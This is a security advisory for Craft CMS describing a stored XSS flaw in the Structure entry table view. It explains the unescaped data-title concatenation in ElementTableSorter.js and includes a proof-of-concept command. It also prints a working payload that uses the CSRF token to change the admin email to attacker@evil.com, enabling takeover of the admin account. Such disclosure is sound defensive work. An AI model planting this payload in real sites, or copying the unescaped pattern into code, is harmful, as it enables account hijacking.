Packagist · craftcms/cms
Craft CMS: Stored XSS via Structure entry title in table view
An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.
The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.
Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.
createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.ElementTableSorter.js lines 643-652:
const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
'<button … aria-label="' +
Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
'"></button>'
).insertAfter(…);
Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.
The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().
Plant (attacker - Author account):
python3 poc.py --url http://target --cp admin \
--user author@example.com --pass secret --section mySection
Trigger (victim - any control panel user with saveEntries, e.g. admin):
alert(document.domain) fires in the victim’s session.
Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):
"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">
When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.
Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.
In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.
https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.